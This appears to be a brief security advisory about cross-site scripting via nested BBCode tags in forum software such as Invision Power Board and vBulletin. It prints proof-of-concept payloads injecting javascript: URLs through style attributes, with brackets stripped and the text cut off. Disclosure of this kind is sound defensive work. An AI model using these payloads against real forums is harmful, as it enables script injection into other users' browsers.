XSS in the nested BB tag in many forum

XSS was found in the nested BB tag in many forum: Invision Power Board: COLOR=IMGhttp://aaa.aa/=aaa.jpg/IMG style=background:urljavascript:alert /COLOR vBulletin EMAIL=URL=s [email protected]:[email protected] sssssss/URL/EMAIL style=background:urljavaSCrip t:alert/HifromAlgol/ using tab between...